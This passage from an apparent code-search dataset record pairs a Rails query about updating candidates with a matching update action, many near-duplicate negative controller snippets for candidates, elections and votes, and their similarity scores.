is_main_tech: tech[\"is_main_tech\"] })\n end\n candidate = Candidate.new({ city: c[\"city\"], experience: c[\"experience\"], technologies: technologies })\n # if Candidate.find_by_cpf(c[\"cpf\"]).nil?\n # candidate.save\n # end\n candidate.save\n end\n end\n @candidates = Candidate.all\n end", "def create\n @candidate = Candidate.new(candidate_params)\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to user_election_position_candidates_path, notice: 'Candidate was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n @candidate.user_id = current_user.id\n\n respond_to do |format|\n if @candidate.save\n flash[:notice] = 'Candidate was successfully created.'\n format.html { redirect_to home_candidate_path(@candidate) }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @result = Result.new()\n\n @result.ip_address = request.remote_ip\n\n unless params[:candidates_ids].nil?\n if params[:candidates_ids].count.eql?(NUMBER_OF_CANDIDATES)\n params[:candidates_ids].each do |candidate_id|\n @result.candidates << Candidate.find(candidate_id)\n end\n end\n end\n\n respond_to { |format|\n if params[:candidates_ids].nil? ? false : params[:candidates_ids].count.eql?(NUMBER_OF_CANDIDATES)\n if @result.save\n format.html { redirect_to(results_path, :notice => \"Thanks for your vote\") }\n format.xml { render :xml => @result, :status => :created, :location => @result }\n cookies[:vote] = {:value => 'sent', :expires => 3.days.from_now}\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @result.errors, :status => :unprocessable_entity }\n end\n else\n format.html {\n flash[:alert] = \"You should choose \" + NUMBER_OF_CANDIDATES.to_s + \" candidates\"\n redirect_to (new_result_path)\n }\n end }\n end", "def index\n @candidates = Candidate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @candidates }\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n unless check_elector\n return\n end\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Your profile was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n #redirect_to new_candidate_path, notice: 'Candidate was successfully created.'\n end", "def create\n @candidate = Candidate.new(params[:candidate])\n\n if @candidate.save\n redirect_to admin_candidates_path, notice: 'Candidate was successfully created.'\n else\n render action: \"new\"\n end\n end", "def new\n @candidate = Candidate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @candidate }\n end\n end", "def index\n @candidates = Usernew.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usernew }\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n set_questionnaire\n format.html { render partial: 'show', status: :created, locals: { candidate: @candidate } }\n else\n format.html { redirect_to candidates_url, alert: @candidate.errors.full_messages.first }\n end\n end\n end", "def create\n @candidate = Candidate.new(params[:candidate])\n respond_to do |format|\n if @candidate.save\n session[:candidate_id]=@candidate.id\n TestQuestion.generate_candidate_questions(@candidate.id,session[:test_id])\n Result.generate_result(@candidate.id,session[:test_id])\n flash[:notice]='Successfully entered the Test!'\n format.html { redirect_to instructions_path }\n else\n format.html { render action: \"new\" }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @candidates = Candidate.all\n end", "def index\n @candidates = Candidate.all\n end", "def index\n @candidates = Candidate.all\n end", "def index\n @candidates = Candidate.all\n end", "def index\n @candidates = Candidate.all\n end", "def index\n @candidates = Candidate.all.order(:id)\n #render json: @candidates\n end", "def create\n @vote_candidate = VoteCandidate.new(vote_candidate_params)\n authorize @vote_candidate\n\n respond_to do |format|\n if @vote_candidate.save\n format.html { redirect_to @vote_candidate, notice: 'Vote candidate was successfully created.' }\n format.json { render :show, status: :created, location: @vote_candidate }\n else\n format.html { render :new }\n format.json { render json: @vote_candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @candidatedetail = Candidatedetail.new(candidatedetail_params)\n\n respond_to do |format|\n if @candidatedetail.save\n format.html { redirect_to candidateentry_url, notice: 'Candidatedetail was successfully created.' }\n format.json { render :show, status: :created, location: @candidatedetail }\n else\n format.html { render :new }\n format.json { render json: @candidatedetail.errors, status: :unprocessable_entity }\n end\n end\n end", "def candidate_params\n params.require(:candidate)\n .permit(%i(first_name last_name gender date_of_birth place_of_birth\n date notes education_subject year police_certificate internships cancel_date\n internships_proved education_contract_sent education_contract_received\n internship_contract_sent internship_contract_received cancel_reason status\n debit_mandate contract_notes career_changer rank) +\n [\n address: %i(street zip city),\n contact: %i(email phone mobile),\n school_graduate: %i(graduate proved),\n profession_graduate: %i(graduate proved comments),\n interview: %i(date time place comments invited answer result reason),\n ])\n end", "def candidate_params\n params.fetch(:candidate, {}).permit(:name, :biography, :position_id, :id)\n\n end", "def candidate_params\n params.require(:candidate).permit(:name, :email)\n end", "def create\n @group = Group.find(params[:group_id])\n @candidate = @group.candidates.build(params[:candidate])\n if @candidate.save\n redirect_to group_candidates_url(@group)\n else\n render :action => \"new\"\n end\n end", "def create\n @candidate_reference = @candidate.references.build(candidate_reference_params)\n\n respond_to do |format|\n if @candidate_reference.save\n flash[:success] = 'Reference was successfully created.' \n format.html { redirect_to edit_candidate_references_path(params[:candidate_id])}\n format.json { render :show, status: :created, location: @candidate_reference }\n else\n flash[:failure] = 'Reference creation unsuccessful.' \n format.html { redirect_to edit_candidate_references_path(params[:candidate_id]) }\n format.json { render json: @candidate_reference.errors, status: :unprocessable_entity }\n end\n end\n end", "def candidate_params\n params.require(:candidate).permit(:name, :avatar)\n end", "def create\n @candidate_detail = @candidate.candidate_details.new(candidate_detail_params)\n\n respond_to do |format|\n if @candidate_detail.save\n format.html { redirect_to candidate_candidate_detail_path(@candidate,@candidate_detail), notice: 'Candidate detail was successfully created.' }\n format.json { render :show, status: :created, location: @candidate_detail }\n else\n format.html { render :new }\n format.json { render json: @candidate_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n $SEARCHES.push({\n \"query\" => params[:query],\n \"candidate_ids\" => nil,\n \"search_status\" => \"In progress\",\n \"get_candidate_status\" => \"Not Started\",\n \"candidate_details\" => nil\n })\n\n # We build our query using the Connect find_candidates schema.\n # We can stack as many filters as we like here, but for this example we\n # only show filtering by email address.\n query = JSON.generate(\n {'filters': [{'field': 'email', 'operator': '==', 'value': params[:query]}]}\n )\n \n # We can choose to either include a callback header with our\n # request, or to poll until the search is complete. Here\n # we use the callback functionality.\n uri = URI.parse(\"%s/v1/%s/find_candidates\" % [\n Rails.application.config.connect_url,\n Rails.application.config.connector['connector_id']\n ])\n\n search_id = $SEARCHES.length - 1\n callback_url = Rails.application.routes.url_for(\n controller: 'search_complete_callback', action: 'create', id: search_id)\n\n resp = ConnectHelper.request_to_connect(\n uri, Net::HTTP::Post, callback_url: callback_url, request_body: query)\n\n redirect_to '/'\n end", "def candidate_params\n params.require(:candidate).permit(:name, :date_submitted)\n end", "def validate_candidates(candidates)\n uniq_candidates = []\n candidates.each do |candidate|\n if (uid_exists?(\"candidate\", canid = candidate[\"ident\"].to_s))\n if (uniq_candidates.include?(candidate))\n val_warn(\"Duplicate Candidate Declaration\", canid, \"in Election Definition\")\n else\n val_err(\"Non-Unique Candidate UID\", canid, \"in Election Definition\")\n end\n else\n uniq_candidates.push(candidate)\n uid_add(\"candidate\", canid)\n end\n end\n candidates.each do |candidate|\n canid = candidate[\"ident\"].to_s\n conid = candidate[\"contest_ident\"].to_s\n if (uid_exists?(\"contest\", conid))\n self.counts_contests[conid][\"candidate_count_list\"].\n push({\"candidate_ident\"=>canid, \"count\"=>0})\n else \n val_err(\"Non-Existent Contest UID\", conid, \"for Candidate UID\", canid, \"in Election Definition\")\n end\n end\n end", "def create\n @election = Election.new(election_params)\n\n respond_to do |format|\n if @election.save\n format.html { redirect_to @election, notice: \"Election was successfully created.\" }\n format.json { render :show, status: :created, location: @election }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @election.errors, status: :unprocessable_entity }\n end\n end\n end", "def candidate_params\n params.require(:candidate).permit( :name , :bios , :url_image , :category_id , :selection_process_id , :avatar_file )\n end", "def vote_candidate_params\n params.require(:vote_candidate).permit(:candidate_id, :vote_id)\n end", "def candidate_params\n params.require(:candidate).permit(:city, :experience)\n end", "def create\n @candidate = Candidate.new(candidate_params)\n user_session[:category_id] = @candidate.category_id\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate , notice: 'Candidato creado correctamente.' }\n format.json { render 'show', status: :created , location: @candidate }\n else\n format.html { render 'new' }\n format.json { render json: @candidate.errors , status: :unprocessable_entity }\n end\n end\n end", "def new\n @candidate_app = CandidateApp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @candidate_app }\n end\n end", "def candidate_params\n params.require(:candidate).permit(:first_name, :last_name, :preferred_name, :email_address, :phone_number)\n end", "def create\n @election = Election.new(election_params)\n\n respond_to do |format|\n if @election.save\n format.html { redirect_to @election, notice: 'Election was successfully created.' }\n format.json { render :show, status: :created, location: @election }\n else\n format.html { render :new }\n format.json { render json: @election.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @election = Election.new(election_params)\n\n respond_to do |format|\n if @election.save\n format.html { redirect_to @election, notice: 'Election was successfully created.' }\n format.json { render :show, status: :created, location: @election }\n else\n format.html { render :new }\n format.json { render json: @election.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_candidate_set(name,candidates)\n result = @candidate_set_factory.new\n result.add(name,candidates) unless candidates.empty?\n result\n end", "def candidate_params\n params.require(:candidate).permit(:name, :plan, :loaction, :image)\n end", "def create_candidate_set(name,candidates)\n result = @candidate_set_factory.new\n result.add(name,candidates) unless candidates.empty?\n result\n end", "def candidate_params\n params.require(:candidate).permit(:name, :published, :description, :constituency, \n :avatar, :avatar_cache, :remove_avatar,\n :image, :image_cache, :remove_image, \n :help_image, :help_image_cache, :remove_help_image,\n :donate_image, :donate_image_cache, :remove_donate_image,\n :fb_link, :help_link, :donate_form, :job, :education, :experience,\n :year, :kind, :in_campaign)\n end", "def candidate_params\n params.require(:candidate).permit(:area_id, :party_list_id, :name, :image, :district_list_id, :desc, :avatar, :x1, :x2, :x3, :x4, :x5, :x6, :x7, :x8, :x9, :x10, :x11, :x12, :x13, :x14, :x15,:cm_candidate)\n end", "def candidate_params\n params.require(:candidate).permit(:genre, :legal_name, :avatar, :mailing_address, :country, :avatar_id, :postal_code, :cell_phone, :email, :date_of_grade, :university, :programs, :certifications, :degree, :languages, :salary_expectation, :area_of_interest, :job_type, :additional_information, :professional_presentation, :work_experience, :professional_reference, :personal_reference, :skills, :hobbies, :extracurricular_activities, :linkedin, :internships, :behavioral_assessment_id, :arrow_id)\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find_by id: params[:id]\n authorize @candidate\n end", "def parse_to_candidate(resume_text)\n path = \"resume/parseToCandidateViaJson?format=text\"\n encodedResume = {\"resume\" => resume_text}.to_json\n res = conn.post path, encodedResume\n Hashie::Mash.new JSON.parse(res.body)\n end", "def candidate_params\n \tparams.require(:candidate).permit(:first_name, :last_name, :party_id, :profile, parties_attributes: [:name])\n end", "def candidate_params\n params.require(:candidate).permit(:user_id, :first_name, :last_name, :email, :phone, :desired_position, :current_company, :linked_in_url, :twitter_url, :git_hub_url, :portfolio_url, :website_url,\n resume_attributes:[:resume_data])\n end", "def new\n @election = Election.find(params[:election_id])\n @race = @election.races.build\n @race.race_candidates.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @race }\n end\n end", "def create_from_candidates\n authorize @competition.competitors.new\n\n heat = params[:heat].to_i\n competitors = params[:competitors]\n begin\n LaneAssignment.transaction do\n competitors.each do |_, competitor|\n reg = Registrant.find_by!(bib_number: competitor[:bib_number])\n lane_assignment = LaneAssignment.new(registrant_id: reg.id, lane: competitor[:lane].to_i, heat: heat, competition: @competition)\n lane_assignment.allow_competitor_auto_creation = true\n lane_assignment.save!\n end\n end\n flash[:notice] = \"Created Lane Assignments & Competitors\"\n rescue StandardError => e\n flash[:alert] = \"Error creating lane assignments/competitors #{e}\"\n end\n redirect_to competition_competitors_path(@competition)\n end", "def candidate_params\n params.require(:candidate).permit(:name, :email, knowledges_attributes: [:item, :level])\n end", "def index\n @candidates = Candidate.where(user_id: current_user.id)\n end", "def candidate_params\n params.require(:candidate).permit(:name, :cellphone, :birth_date, :genre, :status, :regional_candidate, :country_code,\n :civil_status, :recruitment_source, :relocate, :actual_salary, :email,\n :variable_salary, :wage_aspiration, :position, :comparative_chart, :specific_benefit,\n :general_benefits, :general_comments, :address, :conditions_to_move, :telephone,\n :interview_date, :nationality, :actual_company, skills_attributes: [:id, :name, :_destroy],\n education_levels_attributes: [:id, :name, :_destroy], \n careers_attributes: [:id, :name, :_destroy], languages_attributes: [:id, :name, :_destroy],\n performance_areas_attributes: [:id, :name, :_destroy], industries_attributes: [:id, :name, :_destroy])\n end", "def candidate_params\n params.require(:candidate).permit( :first_name,:last_name,:dob,:gender, :marital_status, :status,:languages,:summary)\n end", "def create\n votes = params[:vote]\n voter = params[:voter_id]\n\n if votes\n votes.each do |k,v|\n @vote = Vote.new({:voter_id => voter,\n :position_id => v,\n :candidate_id => k })\n @vote.save\n end\n end\n\n\n redirect_to '/vote'\n\n #respond_to do |format|\n #if @vote.save\n #format.html { redirect_to @vote, notice: 'Vote was successfully created.' }\n #format.json { render json: @vote, status: :created, location: @vote }\n #else\n #format.html { render action: \"new\" }\n #format.json { render json: @vote.errors, status: :unprocessable_entity }\n #end\n #end\n end", "def vote_params\n params.permit(\n :election_id,\n :candidate_id \n )\n end", "def create\n @candidate_course_score = @candidate.course_scores.build(candidate_course_score_params)\n\n respond_to do |format|\n if @candidate_course_score.save\n flash[:notice] = 'Course score was successfully created.'\n format.html { redirect_to candidate_course_score_path(course_score_path_params(@candidate_course_score)) }\n format.json { render :show, status: :created, location: @candidate_course_score }\n else\n format.html { render :new }\n format.json { render json: @candidate_course_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def index\n @candidates = Candidate.limit(100)\n end", "def set_candidate\n \t@election = Candidate.find(params[:id])\n end", "def show\n @candidate = Candidate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @candidate }\n end\n end", "def set_candidate\n @candidate = params[:id] ? Candidate.find(params[:id]) : Candidate.new(candidate_params)\n end", "def save_candidate_data\n raise('Captcha found.') if captcha?\n puts \"Saving candidate's information.\"\n candidates ||= []\n candidate_results = select_elements(:result_tiles)\n candidate_results.each do |candidate_elem|\n candidates.push(candidate_info(candidate_elem)) \\\n unless company?(candidate_elem)\n end\n fail('No data found.') if candidates.empty?\n end_section\n candidates\n end", "def create\n # Create election from parameters\n @election = Election.new(params[:election])\n user_id = params[:election][:user_id]\n if user_id == \"\"\n flash[:error] = \"You may choose owner for election\"\n redirect_back_or_default(:action => 'new')\n return\n end\n @election.owner = ::User.find(user_id)#current_user\n\n faculty_id = params[:election][:faculty_id]\n # validate\n if faculty_id == \"\"\n flash[:error] = \"You may choose faculty for election\"\n redirect_back_or_default(:action => 'new')\n return\n end\n\n faculty_num = Faculty.find(@election.faculty_id).num\n\n # Get votes by faculty\n voters = Array.new\n voters = ::User.find_users_by_faculty(faculty_num)\n\n # Validates existence of voters\n if voters.empty?\n flash[:error] = \"The are no registered students on a faculty\"\n redirect_back_or_default(:action => 'new')\n return\n end\n\n # Create voting ballots\n ballots = Array.new\n voters.each do |voter|\n ballot = Ballot.new_from_params(voter, @election)\n ballots << ballot\n end\n\n # Save the records to the database\n begin\n Election.transaction do\n @election.save!\n ballots.each {|b| b.save!}\n end\n rescue Exception\n render :action => :new and return\n end\n\n flash[:notice] = \"Election created successfully\"\n redirect_to(object_url(@election))\n end", "def set_candidates(pv)\n @candidates = pv\n @value = @initial_value\n end", "def update\n respond_to do |format|\n if @candidate.update(permitted_attributes @candidate)\n format.html { redirect_to @candidate, notice: \"Candidate was successfully updated.\" }\n format.json { render :show, status: :ok, location: @candidate }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @final_decision = FinalDecision.new(:user_id => session[:candidate], :interview_id => session[:interview_id], :decision => params[:decision])\n\n\n if @final_decision.save\n redirect_to organization_show_candidates_path\n else\n format.html { render action: 'new' }\n format.json { render json: @final_decision.errors, status: :unprocessable_entity }\n end\n\n end", "def create\n\n reviews = []\n params[:scores].keys.each{ |name|\n score = params[:scores][name]\n peer_review = PeerReview.new(name:name, score:score, miniproject_id:params[:project][:id])\n peer_review.save\n reviews << peer_review\n }\n\n render json: reviews\n\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def create\n params[:interview][:scheduler_id] = current_user.id\n @interview = @candidate.interviews.new(params[:interview])\n params[:other_interviewers].split(\",\").each do |interviewer|\n @interview.interviewers.new({:user_id => interviewer})\n end\n respond_to do |format|\n if @interview.save\n format.html { redirect_to candidate_path(@candidate), notice: 'Interview was successfully created.' }\n format.js { render :index }\n format.json { render json: @interview, status: :created, location: @interview }\n else\n format.html { render action: \"new\" }\n format.js { render :index }\n format.json { render json: @interview.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @alliance = find_alliance\n @candidate = Candidate.new(candidate_params).tap do |t|\n t.student_number = current_haka_user.student_number # sensitive\n t.electoral_alliance = @alliance # sensitive\n end\n\n if @candidate.save\n flash.notice = \"Ehdokasilmoittautuminen vastaanotettu!\"\n redirect_to registrations_candidate_path(@candidate.student_number)\n else\n flash.alert = \"Ehdokasilmoittautuminen ei onnistunut, koska lomakkeen tiedoissa oli virheitä.\"\n render :new\n end\n end", "def candidate_params\n params.require(:user).permit(:first_name, :middle_name, :last_name, :email)\n end", "def set_candidate\n @candidate = Candidate.includes(:user, :resume).find(params[:id])\n end", "def create\n @election = Election.new(election_params)\n respond_to do |format|\n if @election.save\n @election.users << current_user #add the current user to the users for this election\n format.html { redirect_to user_elections_path, notice: 'Election was successfully created.' }\n format.json { render :show, status: :created, location: @election }\n else\n format.html { render :new }\n format.json { render json: @election.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @election = Election.new(election_params)\n respond_to do |format|\n if @election.save\n format.html { redirect_to [:admin, @election], notice: 'Election was successfully created.' }\n format.json { render :show, status: :created, location: @election }\n else\n format.html { render :new }\n format.json { render json: @election.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @election = Election.new\n @election.choices.build\n @election.choices.each do |choice|\n choice.election_id = @election.id\n end\n respond_with @election\n\tend", "def set_candidate\n @candidate = Candidate.find(params[:candidate_id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:candidate_id])\n end" ]
[ "0.6904368", "0.6874747", "0.6840404", "0.6840404", "0.6840404", "0.6840404", "0.6836909", "0.681982", "0.67530876", "0.67346483", "0.6661026", "0.66238564", "0.6538402", "0.64989924", "0.64921826", "0.6466355", "0.6316517", "0.63106084", "0.6291944", "0.627492", "0.62635297", "0.62635297", "0.62635297", "0.62635297", "0.62635297", "0.62233293", "0.6213404", "0.6060821", "0.6048104", "0.59916514", "0.5982036", "0.5924656", "0.5917782", "0.59109294", "0.5861277", "0.5815161", "0.58063364", "0.5805462", "0.580269", "0.5797844", "0.57968205", "0.57891065", "0.5769808", "0.5769027", "0.5768557", "0.57662046", "0.57662046", "0.57659036", "0.5761622", "0.5759257", "0.57493687", "0.57222706", "0.57085234", "0.56984913", "0.56984913", "0.56936944", "0.56924903", "0.5682762", "0.5682734", "0.56788665", "0.56665653", "0.56646675", "0.56192136", "0.5609634", "0.5577295", "0.55637276", "0.55618066", "0.5559141", "0.55442333", "0.55442333", "0.55442333", "0.55442333", "0.55442333", "0.55442333", "0.55442333", "0.55442333", "0.55442333", "0.55442333", "0.55442333", "0.55442333", "0.55381894", "0.55320007", "0.5524455", "0.55192524", "0.5515201", "0.55073994", "0.5484662", "0.54818887", "0.5468896", "0.54668397", "0.5452389", "0.54449695", "0.5433101", "0.5429248", "0.5423974", "0.5420262", "0.5416777", "0.5402117", "0.5399157", "0.5399157" ]
0.7399355
0
PATCH/PUT /candidates/1 PATCH/PUT /candidates/1.json
def update respond_to do |format| if @candidate.update(candidate_params) format.html { redirect_to @candidate, notice: 'Candidate was successfully updated.' } format.json { render :show, status: :ok, location: @candidate } else format.html { render :edit } format.json { render json: @candidate.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @candidate = Candidate.find(params[:id])\n\n respond_to do |format|\n if @candidate.update_attributes(params[:candidate])\n format.html { redirect_to @candidate, notice: 'Candidate was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @candidate.update(permitted_attributes @candidate)\n format.html { redirect_to @candidate, notice: \"Candidate was successfully updated.\" }\n format.json { render :show, status: :ok, location: @candidate }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @candidate.update(candidate_params)\n format.html { redirect_to @candidate, notice: \"Candidate was successfully updated.\" }\n format.json { render :show, status: :ok, location: @candidate }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @candidate.update(candidate_params)\n flash[:success] = 'Candidate was successfully updated'\n format.html { redirect_to edit_candidate_path(@candidate), notice: 'Candidate was successfully updated.' }\n format.json { render :show, status: :ok, location: @candidate }\n else\n flash[:failure] = 'Candidate updation unsuccessful'\n format.html { render :edit }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @candidate = Candidate.find(params[:id])\n\n respond_to do |format|\n if @candidate.update_attributes(params[:candidate])\n flash[:notice]='Successfully updated Details!'\n format.html { redirect_to :controller=>\"test_center\",:action=>\"instructions\" }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @candidate.update(candidate_params)\n format.html { redirect_to user_election_position_candidates_path, notice: 'Candidate was successfully updated.' }\n format.json { render :show, status: :ok, location: @candidate }\n else\n format.html { render :edit }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @candidate = Candidate.find(params[:id])\n\n if @candidate.update_attributes(params[:candidate])\n redirect_to admin_candidates_path, notice: 'Candidate was successfully updated.'\n else\n render action: \"edit\"\n end\n end", "def update\n authorize @vote_candidate\n respond_to do |format|\n if @vote_candidate.update(vote_candidate_params)\n format.html { redirect_to @vote_candidate, notice: 'Vote candidate was successfully updated.' }\n format.json { render :show, status: :ok, location: @vote_candidate }\n else\n format.html { render :edit }\n format.json { render json: @vote_candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @candidate.update(candidate_params)\n set_questionnaire\n format.html { redirect_to candidates_url, notice: \"Candidate was successfully updated.\" }\n else\n format.html { redirect_to edit_candidate_url(@candidate), alert: @candidate.errors.full_messages.first }\n end\n end\n end", "def update\n @candidate_app = CandidateApp.find(params[:id])\n\n respond_to do |format|\n if @candidate_app.update_attributes(params[:candidate_app])\n format.html { redirect_to @candidate_app, notice: 'Candidate app was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @candidate_app.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @candidate.update(candidate_params)\n format.html { redirect_to @candidate , notice: 'Información actualizada correctamente.' }\n format.json { head :no_content }\n else\n format.html { render 'edit' }\n format.json { render json: @candidate.errors , status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @candidate_detail.update(candidate_detail_params)\n format.html { redirect_to candidate_candidate_detail_path(@candidate,@candidate_detail), notice: 'Candidate detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @candidate_detail }\n else\n format.html { render :edit }\n format.json { render json: @candidate_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @candidate_info = args[:candidate_info] if args.key?(:candidate_info)\n @contain_user_quotes = args[:contain_user_quotes] if args.key?(:contain_user_quotes)\n @contain_vulgar_candidates = args[:contain_vulgar_candidates] if args.key?(:contain_vulgar_candidates)\n @disable_ng3_scoring = args[:disable_ng3_scoring] if args.key?(:disable_ng3_scoring)\n @disable_query_features = args[:disable_query_features] if args.key?(:disable_query_features)\n @snippet_brain_selected_candidate_index = args[:snippet_brain_selected_candidate_index] if args.key?(:snippet_brain_selected_candidate_index)\n @snippetsbrain_model_info = args[:snippetsbrain_model_info] if args.key?(:snippetsbrain_model_info)\n end", "def update\n respond_to do |format|\n if @candidatedetail.update(candidatedetail_params)\n format.html { redirect_to @candidatedetail, notice: 'Candidatedetail was successfully updated.' }\n format.json { render :show, status: :ok, location: @candidatedetail }\n else\n format.html { render :edit }\n format.json { render json: @candidatedetail.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @candidate = @alliance.candidates.find(params[:id])\n\n authorize! :update, @candidate\n\n if @candidate.log_and_update_attributes(candidate_params)\n flash[:notice] = \"Muutokset tallennettu.\"\n else\n flash[:alert] = \"Muutosten tallentaminen epäonnistui!\"\n render :action => :edit and return\n end\n\n respond_with(@alliance) do |format|\n format.html { redirect_to advocates_alliance_path(@alliance) }\n end\n end", "def update\n\n # Note: use form validation to ensure that\n # params[:uploaded_file] is not null\n\n respond_to do |format|\n if @candidate.update(candidate_params)\n format.html { redirect_to @candidate, notice: 'Candidate was successfully updated.' }\n format.json { render :show, status: :ok, location: @candidate }\n else\n format.html { render :edit }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @candidate = args[:candidate] if args.key?(:candidate)\n @reference = args[:reference] if args.key?(:reference)\n end", "def update\n @election = Election.find(election_params[:id])\n respond_to do |format|\n if @election.update(election_params)\n format.html { redirect_to user_elections_path, notice: 'Election was successfully updated.' }\n format.json { render :show, status: :ok, location: @election }\n else\n format.html { render :edit }\n format.json { render json: @election.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @compromise = Compromise.find(params[:id])\n\n respond_to do |format|\n if @compromise.update_attributes(params[:compromise])\n format.html { redirect_to @compromise, notice: 'Compromise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @compromise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @candidate.update(candidate_params)\n redirect_to (current_user.role == 'candidate' ? root_path : @candidate), notice: 'Candidate was successfully updated.'\n else\n render :edit\n end\n end", "def update\n respond_to do |format|\n# if @proposal.update(proposal_params)\n if @proposal.update_with_conflict_validation(proposal_params)\n format.html { redirect_to @proposal, notice: '提案を1件更新しました。' }\n format.json { render :show, status: :ok, location: @proposal }\n else\n format.html { render :edit }\n format.json { render json: @proposal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @candidates = args[:candidates] if args.key?(:candidates)\n @query = args[:query] if args.key?(:query)\n @weight = args[:weight] if args.key?(:weight)\n end", "def update\n @choice = Choice.find(params[:id])\n\n if @choice.update(choice_params)\n head :no_content\n else\n render json: @choice.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @candidate_reference.update(candidate_reference_params)\n flash[:success] = 'Reference was successfully updated.' \n format.html { redirect_to edit_candidate_references_path(params[:candidate_id])}\n format.json { render :show, status: :ok, location: @candidate_reference }\n else\n flash[:failure] = 'Reference updation unsuccessful.' \n @candidate_references = [@candidate_reference]\n @new_candidate_reference = Candidate::Reference.new\n format.html { redirect_to edit_candidate_references_path(params[:candidate_id]) }\n format.json { render json: @candidate_reference.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_initiative.update(api_v1_initiative_params)\n format.html { redirect_to @api_v1_initiative, notice: 'Initiative was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @candidate_index = args[:candidate_index] if args.key?(:candidate_index)\n end", "def patch!\n request! :patch\n end", "def update\n @proposal = Proposal.find(params[:id])\n\n respond_to do |format|\n if @proposal.update_attributes(params[:proposal])\n format.html { redirect_to @proposal, 